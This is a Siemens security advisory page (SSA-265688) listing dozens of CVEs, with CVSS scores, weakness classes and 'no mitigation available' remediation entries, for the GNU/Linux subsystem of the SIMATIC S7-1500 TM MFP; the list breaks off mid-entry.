Vulnerability-Lookup

SSA-265688

Vulnerability from csaf_siemens - Published: 2024-04-09 00:00 - Updated: 2026-05-12 00:00

Summary

SSA-265688: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 TM MFP V1.1

Notes

Summary: Multiple vulnerabilities have been identified in the additional GNU/Linux subsystem of the SIMATIC S7-1500 TM MFP V1.1. Siemens is preparing fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.

General Recommendations: As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources: For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use: The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

CVE-2021-4090

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2021-38202

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2021-47002

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2021-47107

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE-121 - Stack-based Buffer Overflow

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2021-47316

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2022-38096

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2022-43945

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-131 - Incorrect Calculation of Buffer Size

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2022-48827

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2022-48828

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2022-48829

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CWE-253 - Incorrect Check of Function Return Value

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-1652

6.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-5678

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE-606 - Unchecked Input for Loop Condition

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-6121

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE-125 - Out-of-bounds Read

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-6129

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-6237

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-400 - Uncontrolled Resource Consumption

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-6817

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-6931

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-6932

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-28746

6.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE-1342 - Information Exposure through Microarchitectural State after Transient Execution

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-45898

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-47233

4.3 (Medium)


                        
                          CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-50781

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE-327 - Use of a Broken or Risky Cryptographic Algorithm

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-52447

3.9 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-52458

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-52614

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-120 - Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2023-52620

2.5 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

CWE-99 - Improper Control of Resource Identifiers ('Resource Injection')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-0727

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-2511

3.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE-400 - Uncontrolled Resource Consumption

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-5535

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-9143

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-22099

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-23307

4.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-190 - Integer Overflow or Wraparound

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-23848

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-24857

4.6 (Medium)


                        
                          CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:H/A:L

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-24858

4.6 (Medium)


                        
                          CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-24859

4.6 (Medium)


                        
                          CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-25739

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-754 - Improper Check for Unusual or Exceptional Conditions

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26629

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-393 - Return of Wrong Status Code

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26642

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26643

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26651

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26659

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26787

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26810

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26812

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26816

6.0 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H

CWE-212 - Improper Removal of Sensitive Information Before Storage or Transfer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26820

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-99 - Improper Control of Resource Identifiers ('Resource Injection')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26851

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26852

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26855

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26859

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26861

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26863

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26870

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26872

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26875

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26877

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26878

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26880

4.4 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE-99 - Improper Control of Resource Identifiers ('Resource Injection')

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26882

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26883

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26884

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26885

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26889

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26891

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26894

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26895

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26897

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26898

7.0 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26901

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2024-26903

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-20 - Improper Input Validation

Affected products

Known affected 1 product

